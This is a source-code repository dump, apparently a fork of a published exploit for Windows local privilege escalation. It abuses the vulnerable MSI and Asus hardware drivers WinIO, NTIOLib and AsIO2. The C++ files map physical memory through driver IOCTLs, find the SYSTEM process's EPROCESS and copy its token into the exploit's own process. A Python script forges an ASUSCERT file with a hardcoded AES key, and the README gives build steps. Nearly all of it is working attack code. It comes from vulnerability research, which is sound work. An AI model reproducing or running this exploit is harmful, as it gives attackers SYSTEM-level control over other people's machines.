199 | ULONG uReturn = 0;
200 | while (pEnumerator)
201 | {
202 | pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
203 | if (0 == uReturn)
204 | {
205 | break;
206 | }
207 |
208 | VARIANT vtProp;
209 | pclsObj->Get(L"StartingAddress", 0, &vtProp, 0, 0);
210 | uint64_t startAddr = 0;
211 | swscanf_s(vtProp.bstrVal, L"%lld", &startAddr);
212 | VariantClear(&vtProp);
213 |
214 | pclsObj->Get(L"EndingAddress", 0, &vtProp, 0, 0);
215 | uint64_t endAddr = 0;
216 | swscanf_s(vtProp.bstrVal, L"%lld", &endAddr);
217 | VariantClear(&vtProp);
218 |
219 | pclsObj->Release();
220 | ranges.push_back(std::pair(startAddr, endAddr + 1));
221 | //printf("%0I64X %0I64X\n", startAddr, endAddr);
222 | }
223 | //insert dummy range <0xF0000000, 0xFFFFFFFF>
224 | ranges.push_back(std::pair(0xF0000000LL, 0x100000000LL));
225 |
226 | std::sort(ranges.begin(), ranges.end());
227 | auto it = ranges.begin();
228 | std::pair current = *(it)++;
229 | while (it != ranges.end())
230 | {
231 | if (current.second >= it->first)
232 | {
233 | current.second = std::max(current.second, it->second);
234 | }
235 | else
236 | {
237 | hardwareMappings[current.first] = current.second - current.first;
238 | current = *(it);
239 | }
240 | it++;
241 | }
242 | hardwareMappings[current.first] = current.second - current.first;
243 |
244 | pSvc->Release();
245 | pLoc->Release();
246 | pEnumerator->Release();
247 | CoUninitialize();
248 | }
249 |
250 | template
251 | bool elevate()
252 | {
253 | printf("Whoami: ");
254 | system("whoami");
255 |
256 | std::unordered_map mapping;
257 | getHardwareMappings(mapping);
258 |
259 | uint32_t systemProcessPid = getSystemProcessPid();
260 | printf("Found %s PID: %08X\n", SystemProcessNameA, systemProcessPid);
261 |
262 | printf("Looking for %s EPROCESS...\n", SystemProcessNameA);
263 | T io;
264 | uint64_t stolenToken = 0;
265 | iteratePhysicalMemory(io, mapping, [&stolenToken, systemProcessPid](IMemory& memory, const uint8_t* addr, size_t size) -> bool
266 | {
267 | return doEprocessAction(memory, addr, size, systemProcessPid, SystemProcessNameA, EprocessAction::StealToken, stolenToken);
268 | });
269 | printf("Stolen token: %0" PRIx64" \n", stolenToken);
270 | if (0 == stolenToken)
271 | {
272 | printf("Failed to steal %s token!", SystemProcessNameA);
273 | return false;
274 | }
275 |
276 | uint32_t curId = GetCurrentProcessId();
277 | char exePath[0x100];
278 | GetModuleFileNameA(0, exePath, sizeof(exePath));
279 | char* exeName = PathFindFileNameA(exePath);
280 |
281 | printf("Looking for %s EPROCESS...\n", exeName);
282 | iteratePhysicalMemory(io, mapping, [curId, exeName, &stolenToken](IMemory& memory, const uint8_t* addr, size_t size) -> bool
283 | {
284 | return doEprocessAction(memory, addr, size, curId, exeName, EprocessAction::ReuseToken, stolenToken);
285 | });
286 |
287 | printf("Whoami: ");
288 | system("whoami");
289 | return true;
290 | }
291 |
292 | void printUsage(const char* name)
293 | {
294 | printf("Usage:\n\t%s ntio\t\t- use NTIOLib.sys\n", name);
295 | printf("\t%s winio\t\t- use WinIO.sys\n\n", name);
296 | printf("\t%s asio\t\t- use AsIO2.sys\n\n", name);
297 | }
298 |
299 | int main(int argc, char* argv[])
300 | {
301 | if (2 != argc) {
302 | printUsage(argv[0]);
303 | return 0;
304 | }
305 |
306 | HMODULE hntdll = GetModuleHandleW(L"ntdll");
307 | OSVERSIONINFOW osver;
308 | RtlSecureZeroMemory(&osver, sizeof(osver));
309 | osver.dwOSVersionInfoSize = sizeof(osver);
310 | RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(hntdll, "RtlGetVersion");
311 | pRtlGetVersion(&osver);
312 |
313 | if(osver.dwMajorVersion != 10) {
314 | printf("Only Windows 10 offsets are included\n");
315 | return 0;
316 | }
317 | if(osver.dwBuildNumber >= 18362) {
318 | printf("Win10 1909+ detected, using 0x360 for Token offset\n");
319 | EprocessToken = 0x360;
320 | }
321 |
322 | if (0 == strcmp(argv[1], "ntio"))
323 | elevate();
324 | else if (0 == strcmp(argv[1], "winio"))
325 | elevate();
326 | else if (0 == strcmp(argv[1], "asio"))
327 | elevate();
328 | else
329 | printUsage(argv[0]);
330 | return 0;
331 | }
332 |
--------------------------------------------------------------------------------
/MsiExploit/WinIO.cpp:
--------------------------------------------------------------------------------
1 | /**
2 | *
3 | * MSI NTIOLib/WinIO privilege escalation exploit
4 | *
5 | * Copyright (c) 2016 ReWolf
6 | * http://blog.rewolf.pl/
7 | * http://blog.rewolf.pl/blog/?p=1630
8 | *
9 | * This program is free software: you can redistribute it and/or modify
10 | * it under the terms of the GNU Lesser General Public License as published
11 | * by the Free Software Foundation, either version 3 of the License, or
12 | * (at your option) any later version.
13 | *
14 | * This program is distributed in the hope that it will be useful,
15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | * GNU Lesser General Public License for more details.
18 | *
19 | * You should have received a copy of the GNU Lesser General Public License
20 | * along with this program. If not, see .
21 | *
22 | */
23 | #include "WinIO.h"
24 |
25 | WinIO::WinIO()
26 | {
27 | hDevice = CreateFileA("\\\\.\\WINIO", 0xC0000000, 0, 0, 3u, 0x80u, 0);
28 | }
29 |
30 | WinIO::~WinIO()
31 | {
32 | if (INVALID_HANDLE_VALUE != hDevice)
33 | CloseHandle(hDevice);
34 | }
35 |
36 | uint8_t* WinIO::mapPhysicalMemory(uint64_t physAddr, size_t size, winioMem& mem) const
37 | {
38 | if (INVALID_HANDLE_VALUE != hDevice)
39 | {
40 | memset(&mem, 0, sizeof(winioMem));
41 | mem.addr = physAddr;
42 | mem.size = size;
43 | DWORD retSize;
44 | BOOL r = DeviceIoControl(hDevice, 0x80102040, &mem, sizeof(winioMem), &mem, sizeof(winioMem), &retSize, 0);
45 | if (r)
46 | return (uint8_t*)mem.outPtr;
47 | }
48 | return nullptr;
49 | }
50 |
51 | void WinIO::unmapPhysicalMemory(winioMem& mem) const
52 | {
53 | if (INVALID_HANDLE_VALUE != hDevice)
54 | {
55 | DWORD retSize;
56 | DeviceIoControl(hDevice, 0x80102044, &mem, sizeof(winioMem), 0, 0, &retSize, 0);
57 | }
58 | }
59 |
60 | bool WinIO::readPhysicalMemory(uint64_t physAddress, uint8_t* buffer, size_t size) const
61 | {
62 | if (INVALID_HANDLE_VALUE != hDevice)
63 | {
64 | winioMem mem;
65 | uint8_t* tmp = mapPhysicalMemory(physAddress, size, mem);
66 | if (nullptr != tmp)
67 | {
68 | memcpy(buffer, tmp, size);
69 | unmapPhysicalMemory(mem);
70 | }
71 | }
72 | return false;
73 | }
74 |
75 | MemoryWinIO::MemoryWinIO()
76 | {
77 | memset(&m_IMemoryHelper, 0, sizeof(m_IMemoryHelper));
78 | }
79 |
80 | uint8_t* MemoryWinIO::getMemory(uint64_t physAddr, size_t size)
81 | {
82 | reset();
83 | return m_WinIo.mapPhysicalMemory(physAddr, size, m_IMemoryHelper);
84 | }
85 |
86 | void MemoryWinIO::commitMemory()
87 | {
88 | if (0 != m_IMemoryHelper.outPtr)
89 | {
90 | m_WinIo.unmapPhysicalMemory(m_IMemoryHelper);
91 | memset(&m_IMemoryHelper, 0, sizeof(m_IMemoryHelper));
92 | }
93 | }
94 |
95 | void MemoryWinIO::reset()
96 | {
97 | commitMemory();
98 | }
99 |
100 | uint64_t MemoryWinIO::getPhysicalAddress()
101 | {
102 | return m_IMemoryHelper.addr;
103 | }
104 |
105 | namespace {
106 | template
107 | void Write(uint64_t address, const T& value) {
108 | *reinterpret_cast(address) = value;
109 | }
110 | }
111 |
112 | void MemoryWinIO::commitValue(size_t offsetInBuf, uint64_t value)
113 | {
114 | Write(m_IMemoryHelper.outPtr + offsetInBuf, value);
115 | commitMemory();
116 | }
117 |
--------------------------------------------------------------------------------
/MsiExploit/WinIO.h:
--------------------------------------------------------------------------------
1 | /**
2 | *
3 | * MSI NTIOLib/WinIO privilege escalation exploit
4 | *
5 | * Copyright (c) 2016 ReWolf
6 | * http://blog.rewolf.pl/
7 | * http://blog.rewolf.pl/blog/?p=1630
8 | *
9 | * This program is free software: you can redistribute it and/or modify
10 | * it under the terms of the GNU Lesser General Public License as published
11 | * by the Free Software Foundation, either version 3 of the License, or
12 | * (at your option) any later version.
13 | *
14 | * This program is distributed in the hope that it will be useful,
15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | * GNU Lesser General Public License for more details.
18 | *
19 | * You should have received a copy of the GNU Lesser General Public License
20 | * along with this program. If not, see .
21 | *
22 | */
23 | #pragma once
24 | #include
25 | #include
26 | #include "IMemory.h"
27 |
28 | #pragma pack(push)
29 | #pragma pack(1)
30 | struct winioMem
31 | {
32 | uint64_t size;
33 | uint64_t addr;
34 | uint64_t unk1;
35 | uint64_t outPtr;
36 | uint64_t unk2;
37 | };
38 | #pragma pack(pop)
39 |
40 | class WinIO
41 | {
42 | private:
43 | HANDLE hDevice;
44 |
45 | public:
46 | WinIO();
47 | virtual ~WinIO();
48 | uint8_t* mapPhysicalMemory(uint64_t physAddr, size_t size, winioMem& mem) const;
49 | void unmapPhysicalMemory(winioMem& mem) const;
50 | bool readPhysicalMemory(uint64_t physAddress, uint8_t* buffer, size_t size) const;
51 | };
52 |
53 | class MemoryWinIO : public IMemory
54 | {
55 | private:
56 | WinIO m_WinIo;
57 | winioMem m_IMemoryHelper;
58 |
59 | public:
60 | MemoryWinIO();
61 | uint8_t* getMemory(uint64_t physAddr, size_t size = 0x1000) override;
62 | void commitMemory() override;
63 | void reset() override;
64 | uint64_t getPhysicalAddress() override;
65 | void commitValue(size_t offsetInBuf, uint64_t value) override;
66 | };
67 |
--------------------------------------------------------------------------------
/MsiExploit/make_ASUSCERT.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import time
3 | import struct
4 | import codecs
5 | from Crypto.Cipher import AES
6 |
7 | epoch_time = int(time.time())
8 |
9 | data = struct.pack('IIII', epoch_time, 0, 0, 0)
10 |
11 | key = b"\xAA\x7E\x15\x16\x28\xAE\xD2\xA6\xAB\xF7\x15\x88\x09\xCF\x4F\x3C"
12 | aes = AES.new(key, AES.MODE_ECB)
13 | ASUSCERT = aes.encrypt(data)
14 |
15 | with open('ASUSCERT_now.dat', 'wb+') as f:
16 | f.write(ASUSCERT)
17 |
18 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Asus AsIO2 LPE exploit, based on rewolf-msi-exploit
2 |
3 | Blog posts:
4 |
5 | * Research:
6 | * Exploitation:
7 |
8 | This exploit is an extension of ReWolf's [exploit](https://github.com/rwfpl/rewolf-msi-exploit)
9 | More info can be found here:
10 |
11 | ## Fork notes by Raphaël Rigo
12 |
13 | * patched the C++ code to support compilation with MinGW
14 | * added a Makefile
15 | * added a provider for AsIO2
16 | * added EPROCESS Token offset for recent Windows versions
17 |
18 | ### Compilation under Linux
19 |
20 | * Install MinGW64: `apt install mingw-w64`
21 | * run `make` in `MsiExploit` folder
22 |
23 | ### Compilation under Windows
24 |
25 | * install python, make sure it's in your path
26 | * pip install cryptodome
27 | * run `nmake -f Makefile.nmake` in `MsiExploit` folder
28 |
--------------------------------------------------------------------------------